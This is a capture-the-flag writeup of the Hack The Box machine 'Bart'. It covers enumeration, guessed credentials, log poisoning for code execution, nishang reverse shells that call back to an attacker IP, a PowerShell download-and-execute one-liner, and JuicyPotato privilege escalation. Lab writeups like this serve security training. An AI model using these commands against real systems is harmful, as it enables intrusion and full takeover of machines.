Ech0 - 15 / 03 / 2020

Bart Writeup

Introduction :



Bart is a Medium windows box released back in Febuary 2018.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


  λ ech0 [ 10.10.14.3/23 ] [/etc/init.d]
  → nmap 10.10.10.81 -F
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 23:06 GMT
  Nmap scan report for 10.10.10.81
  Host is up (0.20s latency).
  Not shown: 99 filtered ports
  PORT   STATE SERVICE
  80/tcp open  http

  Nmap done: 1 IP address (1 host up) scanned in 15.46 seconds

  λ ech0 [ 10.10.14.3/23 ] [/etc/init.d]
  → nmap -sCV -p80 10.10.10.81
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 23:09 GMT
  Nmap scan report for 10.10.10.81
  Host is up (0.100s latency).

  PORT   STATE SERVICE VERSION
  80/tcp open  http    Microsoft IIS httpd 10.0
  | http-methods:
  |_  Potentially risky methods: TRACE
  |_http-server-header: Microsoft-IIS/10.0
  |_http-title: Did not follow redirect to http://forum.bart.htb/
  Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 10.49 seconds

Part 2 : Getting User Access



Our nmap scan picked up port 80 running http with a domain name entry forum.bart.htb so let's add it to our /etc/hosts file:


  λ root [ 10.10.14.3/23 ] [~]
  → echo '10.10.10.81 forum.bart.htb bart.htb' >> /etc/hosts

And we have access to the webpage ! now let's investigate it a bit further:


λ ech0 [ 10.10.14.10/23 ] [~]
→ curl -sk http://forum.bart.htb | grep wordpress
<a href="http://wordpress.org/">Proudly powered by WordPress</a>

Looks like we have a wordpress website to work with, so my initial reflex was to use dirsearch or gobuster to find it's directories although it seems like we can't use neither of the two on forum.bart.htb nor on bart.htb so by interecepting the request in burpsuite we and from the repeater tab, by rendering the page, it seems to return a 200 status code on non-existant directories so we use the appropriate gobuster command :


  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u bart.htb -s "204,301,302,307,401,403" -t 50
  ===============================================================
  Gobuster v3.0.1
  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
  ===============================================================
  [+] Url:            http://bart.htb
  [+] Threads:        50
  [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  [+] Status codes:   204,301,302,307,401,403
  [+] User Agent:     gobuster/3.0.1
  [+] Timeout:        10s
  ===============================================================
  2020/03/15 14:09:26 Starting gobuster
  ===============================================================
  /forum (Status: 301)
  /monitor (Status: 301)
  /Forum (Status: 301)
  /Monitor (Status: 301)

It was painfully slow, but gobuster found some interesting results, in particular the /monitor one which is a PHP Server Monitor v3.2.1 login page:

Next up we navigate to the Forgot Password tab and enter a random username, to get the following error message :

Now earlier on we found a username "harvey" so let's try it :

And seems like this username exists! And trying his last name "potter" as the password gives us access to the monitor.bart.htb page so we edit our /etc/hosts file once again:


  10.10.10.81 forum.bart.htb bart.htb monitor.bart.htb

Next up we navigate over to Status > Internal Chat and we see yet another hostname to add to our /etc/hosts file :


  10.10.10.81 forum.bart.htb bart.htb monitor.bart.htb internal-01.bart.htb

Navigating over to internal-01.bart.htb we find the following login page:

Login page onto which the credentials harry:potter don't work so let's go and find the github page for this simple chat and looking at it we should have access to a register.php page so let's check it out using burpsuite:

Sending it over to the repeater (CTRL+R) and then going to the repeater (CTRL+SHIFT+R) we are able to craft the following request:

And looking at the response, we seem to get a 302 status code, which seems like we succeeded in registering our account, so let's go ahead and login using the credential we sent ech0:prometheus.

And we're in ! Now looking at the page sourcecode, we are hinted towards the log and log_chat php files:


  λ ech0 [ 10.10.14.10/23 ] [~]
  → curl -sk http://internal-01.bart.htb/log/log.php\?filename\=log.txt\&username\=harvey

  λ ech0 [ 10.10.14.10/23 ] [~]
  → curl -sk http://internal-01.bart.htb/log/log.php\?filename\=log.txt
  <br />
  <b>Notice</b>:  Undefined index: username in <b>C:\inetpub\wwwroot\internal-01\log\log.php</b> on line <b>20</b><br />
  0%
  λ ech0 [ 10.10.14.10/23 ] [~]
  → curl -sk http://internal-01.bart.htb/log/log.php
  <br />
  <b>Notice</b>:  Undefined index: filename in <b>C:\inetpub\wwwroot\internal-01\log\log.php</b> on line <b>19</b><br />
  <br />
  <b>Notice</b>:  Undefined index: username in <b>C:\inetpub\wwwroot\internal-01\log\log.php</b> on line <b>20</b><br />
  0%

Something's sketchy with this log.php file, it looks like it logs the username, and the user agent of the incoming request. So let's craft a request using burpsuite by changing the User-Agent to try and get remote code execution:

Now that we added the cmd parameter, let's actually use it to get remote code execution: by changing the filename=log.txt parameter to filename=log.php and by adding our cmd=id :

And we have code execution ! so now let's try to get a reverse shell using nishang's Invoke-PowerShellTcp.ps1

Terminal 1:

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
→ locate Invoke-PowerShellTcp.ps1
/home/ech0/_HTB/Bastard/Invoke-PowerShellTcp.ps1
/usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1

λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
→ echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 9001' >> Invoke-PowerShellTcp.ps1

λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
→ mv Invoke-PowerShellTcp.ps1 ech0.ps1

λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
→ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
Terminal 2:

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
→ nc -lvnp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001

Now that we have changed our cmd parameter we URL encode it (CTRL+U) and then hit send to get a reverse shell :

And we have a reverse shell on the box !

Part 3 : Getting Root Access



Now to privesc on this box we'll first check the privileges that are enabled for our user:


  PS C:\inetpub\wwwroot\internal-01\simple_chat\includes> whoami /priv

  PRIVILEGES INFORMATION
  ----------------------

  Privilege Name          Description                               State
  ======================= ========================================= =======
  SeChangeNotifyPrivilege Bypass traverse checking                  Enabled
  SeImpersonatePrivilege  Impersonate a client after authentication Enabled
  SeCreateGlobalPrivilege Create global objects                     Enabled

SetImpersonatePrivilege is enabled so we should be able to get to the SYSTEM privileges using Juicy Potato. Users running the SQL server or IIS usually have these privileges by default. it is designed to allow a service to impersonate other users on the system. Which is why Juicy Potato is of relevance here, because it exploits the way MS handles tokens in order to privesc to SYSTEM. So first let's download the executable locally and then upload it :

Terminal 1:

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
  --2020-03-15 16:23:24--  https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
  Resolving github.com (github.com)... 140.82.118.4
  Connecting to github.com (github.com)|140.82.118.4|:443... connected.
  HTTP request sent, awaiting response... 302 Found
  Location: https://github-production-release-asset-2e65be.s3.amazonaws.com/142582717/538c8db8-9c94-11e8-84e5-46a5d9473358?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20200315%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20200315T162338Z&X-Amz-Expires=300&X-Amz-Signature=ce85a8ad77f1a0147ad0815a54d198c71539339d9a10362e0f008ab3a0ce11c9&X-Amz-SignedHeaders=host&actor_id=0&response-content-disposition=attachment%3B%20filename%3DJuicyPotato.exe&response-content-type=application%2Foctet-stream [following]
  --2020-03-15 16:23:30--  https://github-production-release-asset-2e65be.s3.amazonaws.com/142582717/538c8db8-9c94-11e8-84e5-46a5d9473358?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20200315%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20200315T162338Z&X-Amz-Expires=300&X-Amz-Signature=ce85a8ad77f1a0147ad0815a54d198c71539339d9a10362e0f008ab3a0ce11c9&X-Amz-SignedHeaders=host&actor_id=0&response-content-disposition=attachment%3B%20filename%3DJuicyPotato.exe&response-content-type=application%2Foctet-stream
  Resolving github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)... 52.216.228.40
  Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)|52.216.228.40|:443... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 347648 (340K) [application/octet-stream]
  Saving to: ‘JuicyPotato.exe’

  JuicyPotato.exe  100%[=========>] 339.50K   721KB/s    in 0.5s

  2020-03-15 16:23:31 (721 KB/s) - ‘JuicyPotato.exe’ saved [347648/347648]


  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → python -m SimpleHTTPServer 8081
  Serving HTTP on 0.0.0.0 port 8081 ...
Terminal 2:

  PS C:\inetpub\wwwroot\internal-01\simple_chat\includes> cd C:\Users\Public\Downloads
PS C:\Users\Public\Downloads> iex(new-object net.webclient).downloadfile('http://10.10.14.10:8081/JuicyPotato.exe','C:\Users\Public\Downloads\jp.exe')
PS C:\Users\Public\Downloads> Invoke-PowerShellTcp : Cannot bind argument to parameter 'Command' because it
is null.
At line:126 char:2
+ }Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 9001
+  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorExcep
   tion
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorExceptio
   n,Invoke-PowerShellTcp


PS C:\Users\Public\Downloads> ls


    Directory: C:\Users\Public\Downloads


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       15/03/2020     16:29         347648 jp.exe

Once downloaded, we execute it :


  PS C:\Users\Public\Downloads> ./jp.exe
  JuicyPotato v0.1

  Mandatory args:
  -t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
  -p <program>: program to launch
  -l <port>: COM server listen port


  Optional args:
  -m <ip>: COM server listen address (default 127.0.0.1)
  -a <argument>: command line argument to pass to program (default NULL)
  -k <ip>: RPC server ip address (default 127.0.0.1)
  -n <port>: RPC server listen port (default 135)
  -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
  -z only test CLSID and print token's user

Here we will need -t , -p and -l , so locally we'll copy yet another reverse shell from nishang, and add the correct line at the end of it :

Terminal 1:

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → locate Invoke-PowerShellTcp.ps1
  /home/ech0/_HTB/Bastard/Invoke-PowerShellTcp.ps1
  /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → mv Invoke-PowerShellTcp.ps1 ech1.ps1

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 9002' >> ech1.ps1

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → nano shell.bat
  

Next up we create the shell.bat file that will download and execute our ech1.ps1 reverse shell :


  powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.10:8081/ech1.ps1')
  

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → python -m SimpleHTTPServer 8081
  Serving HTTP on 0.0.0.0 port 8081 ...
Terminal 3:

  λ ech0 [ 10.10.14.10/23 ] [~/_HTB/Bart]
  → nc -lvnp 9002

Now we download and execute our shell.bat file that will download and execute our ech1.ps1 reverse shell so that we can grab the incoming reverse shell on our port 9002:

Terminal 2:

  iex(new-object net.webclient).downloadfile('http://10.10.14.10:8081/shell.bat','C:\Users\Public\Downloads\shell.bat')

And it worked ! However the shell closes on us after a bit so we'll use our jp.exe in conjunction with a Windows 10 Pro CLSID available on Juicy Potato's github repository to finally get the reverse shell with SYSTEM privileges:

And that's it ! we have been able to print out the user and root flags !

Conclusion



Here we can see the progress graph :

My Bunker

Some Address 67120,
Duttlenheim, France.

About Ech0

This cute theme was created to showcase your work in a simple way. Use it wisely.